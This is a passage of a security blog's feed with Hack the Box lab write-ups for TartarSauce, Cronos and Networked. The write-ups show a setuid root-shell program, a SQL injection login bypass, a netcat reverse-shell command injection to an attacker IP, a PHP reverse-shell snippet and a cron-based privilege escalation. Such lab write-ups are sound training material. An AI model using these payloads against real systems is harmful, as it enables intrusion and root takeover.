&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;/bin/bash&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;-p&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;execve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Compile for the target machine: &lt;code&gt;gcc -m32 shell.c -o shell&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add the setuid: &lt;code&gt;chmod +s shell&lt;/code&gt; (owner is already root (&lt;code&gt;0&lt;/code&gt;) as we&amp;rsquo;re on a Kali machine)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make the directory structure (still on our machine): &lt;code&gt;mkdir -p var/www/html&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Move our executable into the directory: &lt;code&gt;mv shell var/www/html/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tar the whole thing up: &lt;code&gt;tar -zcvf shell.tar.gz var/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that we have our &lt;code&gt;shell.tar.gz&lt;/code&gt; file, we can transfer it over to the target machine (e.g. via a HTTP server like above) and place it into, e.g. &lt;code&gt;/var/tmp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;systemctl list-timers&lt;/code&gt;, we can see when our window of opportunity will open (as soon as LEFT goes to 0):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;NEXT LEFT LAST PASSED UNIT ACTIVATE
Mon 2020-02-10 10:52:38 EST 56s left Mon 2020-02-10 10:47:38 EST 4min 3s ago backuperer.timer backuper
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once the backuperer script runs and we can see the temp file in &lt;code&gt;/var/tmp&lt;/code&gt;, we&amp;rsquo;ll replace it with our shell.tar.gz (&lt;code&gt;cp shell.tar.gz .&amp;lt;random name&amp;gt;&lt;/code&gt;). A few seconds later – if everything went fine, we should find the check folder with our setuid binary in it.&lt;/p&gt;
&lt;p&gt;Now we still have a couple of minutes left to execute the binary in &lt;code&gt;/var/tmp/check/var/www/html&lt;/code&gt;, which gives us a root bash shell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;onuma@TartarSauce:/var/tmp/check/var/www/html$ ls
shell
onuma@TartarSauce:/var/tmp/check/var/www/html$ ./shell 
bash-4.3# id 
uid=1000(onuma) gid=1000(onuma) euid=0(root) egid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(onuma)
bash-4.3# whoami
root
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cheers!&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #4: Cronos</title><link>https://davidhamann.de/2020/02/02/htb-writeup-cronos/</link><pubDate>Sun, 02 Feb 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/02/02/htb-writeup-cronos/</guid><description>&lt;p&gt;In this post we&amp;rsquo;ll walk through the steps of getting root on the retired box &amp;ldquo;Cronos&amp;rdquo; from &lt;a href="https://hackthebox.eu"&gt;Hack the Box&lt;/a&gt;. We will discover a few subdomains by DNS enumeration and get our first shell via command injection on an admin portal suffering from SQL injection. To elevate our privileges, we will abuse a cron job set up to run as root. All in all a fun box with a lot of classic vulnerabilities.&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;p&gt;We start with our usual nmap scan: &lt;code&gt;nmap -sV -sC -oN nmap/init 10.10.10.13&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Nmap scan report for 10.10.10.13
Host is up (0.035s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Port 80 only gives us the default Apache page, so we&amp;rsquo;ll jump right into figuring out if the DNS server can give us some more information.&lt;/p&gt;
&lt;h2 id="dns-enumeration"&gt;DNS enumeration&lt;/h2&gt;
&lt;p&gt;Doing a reverse lookup on the server itself gives us information on the domain used:&lt;/p&gt;
&lt;p&gt;Reverse DNS: &lt;code&gt;dig -x 10.10.10.13 @10.10.10.13&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;;13.10.10.10.in-addr.arpa. IN PTR

;; ANSWER SECTION:
13.10.10.10.in-addr.arpa. 604800 IN PTR ns1.cronos.htb.

;; AUTHORITY SECTION:
10.10.10.in-addr.arpa. 604800 IN NS ns1.cronos.htb.

;; ADDITIONAL SECTION:
ns1.cronos.htb. 604800 IN A 10.10.10.13
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s add &lt;code&gt;ns1.cronos.htb&lt;/code&gt; and &lt;code&gt;cronos.htb&lt;/code&gt; to our &lt;code&gt;/etc/hosts&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;10.10.10.13 cronos.htb ns1.cronos.htb&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Going to &lt;a href="http://cronos.htb"&gt;http://cronos.htb&lt;/a&gt;, we now see an actual page – without much content, but a lot of indicators of the PHP framework in use: Laravel.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cronos-laravel-page" loading="lazy" src="https://davidhamann.de/images/cronos-laravel-page.png"&gt;&lt;/p&gt;
&lt;p&gt;Going back once more to the DNS side, we can try a classic DNS server misconfiguration: a zone transfer for anyone who asks :-)&lt;/p&gt;
&lt;p&gt;With an &lt;code&gt;axfr&lt;/code&gt; query, we can enumerate the entire DNS record for a zone including all subdomains of a domain. So, let&amp;rsquo;s give it a shot:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dig axfr cronos.htb @10.10.10.13&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It works! We&amp;rsquo;ve discovered &lt;a href="https://www.cronos.htb"&gt;www.cronos.htb&lt;/a&gt; and admin.cronos.htb. The latter brings us to a login form (don&amp;rsquo;t forget to add the new DNS names to your &lt;code&gt;/etc/hosts&lt;/code&gt; file).&lt;/p&gt;
&lt;p&gt;&lt;img alt="cronos admin login" loading="lazy" src="https://davidhamann.de/images/cronos-admin-login.png"&gt;&lt;/p&gt;
&lt;h2 id="exploitation-and-first-shell"&gt;Exploitation and first shell&lt;/h2&gt;
&lt;p&gt;The login form suffers from a classic SQL injection which gets us in after testing the username field with the very first standard payload of &lt;code&gt;admin' OR 1=1 -- -&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cronos net tool" loading="lazy" src="https://davidhamann.de/images/cronos-net-tool.png"&gt;&lt;/p&gt;
&lt;p&gt;The discovered &amp;ldquo;Net Tool&amp;rdquo; gives us options to traceroute or ping an IP address. To see if the tool is legit, let&amp;rsquo;s send a ping to our address and capture it with &lt;code&gt;tcpdump&lt;/code&gt;. I used Burp here to also have a look at the parameters that are sent to the server:&lt;/p&gt;
&lt;p&gt;&lt;img alt="tcpdump captuing icmp traffic" loading="lazy" src="https://davidhamann.de/images/cronos-capture-icmp.png"&gt;&lt;/p&gt;
&lt;p&gt;Not only do we see the ICMP traffic coming in, but the parameter of &lt;code&gt;command=ping+-c+1&amp;amp;host=10.10.14.38&lt;/code&gt; looks so juicy that it basically says: &amp;ldquo;Please, attempt to hack me!&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;It looks like, we can execute any command we want as &lt;code&gt;www-data&lt;/code&gt; just by modifying the &lt;code&gt;command&lt;/code&gt; parameter. And as netcat is on the box (veryfied via &lt;code&gt;command=which+netcat&lt;/code&gt;), we can get a reverse shell like so:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;command=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2&amp;gt;%261|nc+10.10.14.38+80+&amp;gt;/tmp/f+%23&amp;amp;host=10.10.14.38&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Which decodes to:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;command=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2&amp;gt;&amp;amp;1|nc+10.10.14.38+80+&amp;gt;/tmp/f #&amp;amp;host=10.10.14.38&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;(Listen on the attacker machine with &lt;code&gt;nc -lvnp 80&lt;/code&gt;).&lt;/p&gt;
&lt;div class="notice notice-warning"&gt;
 The netcat version on the box doesn&amp;rsquo;t support the &lt;code&gt;--exec&lt;/code&gt; flag, which forces us to do it this way with a named pipe. You can find multiple other reverse shell one-liners in &lt;a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"&gt;this cheatsheet&lt;/a&gt; at pentestmonkey.net. Try other ones - this box has lots of opportunities to use something else.
&lt;/div&gt;

&lt;h2 id="getting-root"&gt;Getting root&lt;/h2&gt;
&lt;p&gt;With our low-priv shell we can start enumeration. Either by running a script like &lt;a href="https://github.com/rebootuser/LinEnum"&gt;LinEnum.sh&lt;/a&gt; or by looking around manually. I usually check a few locations manually first. Either way, what we will find is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ cat /etc/crontab

# /etc/crontab: system-wide crontab
[...]
* * * * * root php /var/www/laravel/artisan schedule:run &amp;gt;&amp;gt; /dev/null 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A cronjob running as root and executing a file that we (&lt;code&gt;www-data&lt;/code&gt;) own:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ ls -l /var/www/laravel/artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr 9 2017 /var/www/laravel/artisan
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://laravel.com/docs/5.8/artisan"&gt;Artisan&lt;/a&gt; is a command-line tool that comes with the PHP Laravel framework. While we could just add our own content to the file to open another reverse shell (e.g. &lt;code&gt;fsockopen(&amp;quot;10.10.14.38&amp;quot;,1234); exec(&amp;quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&amp;quot;);&lt;/code&gt;), let&amp;rsquo;s see if we can do it in a nicer way without nuking artisan away.&lt;/p&gt;
&lt;p&gt;On &lt;a href="https://laravel.com/docs/5.8/scheduling"&gt;laravel.com/docs/5.8/scheduling&lt;/a&gt;, we can read:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When using the scheduler, only a single Cron entry is needed on your server. Your task schedule is defined in the app/Console/Kernel.php file&amp;rsquo;s schedule method.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can locate the file here: &lt;code&gt;/var/www/laravel/app/Console/Kernel.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Since we want an easy way to get a root shell, let&amp;rsquo;s just make a temporary copy of bash (as root) and give it the SUID bit.&lt;/p&gt;
&lt;p&gt;We add the following code to &lt;code&gt;Kernel.php&lt;/code&gt;&amp;hellip;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;protected function schedule(Schedule $schedule)
{
 $cmd = &amp;#39;cp $(which bash) /tmp/sbash; chmod +s /tmp/sbash&amp;#39;;
 $schedule-&amp;gt;exec($cmd)-&amp;gt;everyMinute();
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&amp;hellip;then wait a minute for the cron and eventually execute &lt;code&gt;./sbash -p&lt;/code&gt; from &lt;code&gt;/tmp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now we&amp;rsquo;re root:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sbash-4.3# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 In case, you&amp;rsquo;re wondering why we need the &lt;code&gt;-p&lt;/code&gt; flag for bash, check out the man page for bash, where it says: &lt;em&gt;If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, [&amp;hellip;] the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.&lt;/em&gt;
&lt;/div&gt;

&lt;p&gt;Cheers!&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #2: Networked</title><link>https://davidhamann.de/2019/12/04/htb-writeup-networked/</link><pubDate>Wed, 04 Dec 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/12/04/htb-writeup-networked/</guid><description>&lt;p&gt;In today&amp;rsquo;s write-up we&amp;rsquo;re looking at &amp;ldquo;Networked&amp;rdquo;, another &lt;a href="https://hackthebox.eu"&gt;Hack the Box&lt;/a&gt; machine rated as &lt;em&gt;easy&lt;/em&gt;. We&amp;rsquo;ll start by finding relevant files via a directory brute-forcer, go on to read some PHP code and then exploiting a file upload feature. Command injection through a file name gives us a proper user shell, and in a second step, through network-scripts, a root shell. Enjoy!&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;p&gt;We start with an nmap scan, just like in the last write-up, and see just two ports open:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ nmap -sV -sC -oN nmap/init 10.10.10.146

PORT STATE SERVICE VERSION
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Manually inspecting the site on port 80, all we see is a static HTML page, providing two hints in the source code:&lt;/p&gt;
&lt;p&gt;&lt;img alt="HTML source" loading="lazy" src="https://davidhamann.de/images/networked-html-source.png"&gt;&lt;/p&gt;
&lt;p&gt;We could try to manually guess some directory and or file names (like &lt;code&gt;upload&lt;/code&gt;, &lt;code&gt;uploads&lt;/code&gt; or &lt;code&gt;gallery&lt;/code&gt;). Since we know PHP is running (from the banner), &lt;code&gt;upload.php&lt;/code&gt; is an easy find.&lt;/p&gt;
&lt;p&gt;To not miss anything, though, we&amp;rsquo;re still going to run a directory brute-force in the background while further inspecting the upload form.&lt;/p&gt;
&lt;p&gt;I really like using &lt;a href="https://github.com/OJ/gobuster"&gt;gobuster&lt;/a&gt;, so let&amp;rsquo;s use that and give it the small directory dictionary from dirbuster, combined with a search for the &lt;code&gt;.php&lt;/code&gt; extension.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.146 -x php

/index.php (Status: 200)
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can upload &amp;ldquo;normal&amp;rdquo; image files (always try the &amp;ldquo;happy path&amp;rdquo; first!), but don&amp;rsquo;t immediately see where they are accessible after upload. Trying to upload a PHP file to get remote code execution leads to &lt;code&gt;Invalid image file.&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the background reconnaissance job, however, we can see multiple interesting findings.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Going to &lt;code&gt;/photos.php&lt;/code&gt;, we can see our uploaded image&lt;/li&gt;
&lt;li&gt;Going to &lt;code&gt;/backup&lt;/code&gt;, we can see a tar file of a website backup including all source files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Image upload" loading="lazy" src="https://davidhamann.de/images/networked-photos.png"&gt;&lt;/p&gt;
&lt;p&gt;Having access to the source will make life much easier, so let&amp;rsquo;s have a look and see if we can find a way around the image file type limitation on the upload.&lt;/p&gt;
&lt;p&gt;Untar the file archive &lt;code&gt;tar xvf backup.tar&lt;/code&gt;, then skim through it with &lt;code&gt;less *&lt;/code&gt; (navigate with &lt;code&gt;:p&lt;/code&gt; and &lt;code&gt;:n&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Switching to &lt;code&gt;upload.php&lt;/code&gt;, there are a few things that could be interesting. I highlighted them in yellow.&lt;/p&gt;
&lt;p&gt;&lt;img alt="PHP code analysis" loading="lazy" src="https://davidhamann.de/images/networked-code-analysis.png"&gt;&lt;/p&gt;
&lt;p&gt;Our main focus should be the &lt;code&gt;check_file_type&lt;/code&gt; function, but also note the missing dot in one error message which could have been helpful in case we wouldn&amp;rsquo;t have access to the source code. Allowed extensions, target directory and permissions are also worth noting.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;check_file_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$mime_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;file_mime_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$mime_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;image/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To circumvent this check we would need our malicious file to return an image mime type when checked by &lt;code&gt;file_mime_type&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;file_mime_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$regexp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;function_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;finfo_file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$finfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;finfo_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;FILEINFO_MIME&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;is_resource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$finfo&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;// It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$mime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;finfo_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$finfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;finfo_close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$finfo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$mime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$regexp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$mime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$file_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$file_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;function_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mime_content_type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$file_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;mime_content_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// It&amp;#39;s possible that mime_content_type() returns FALSE or an empty string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
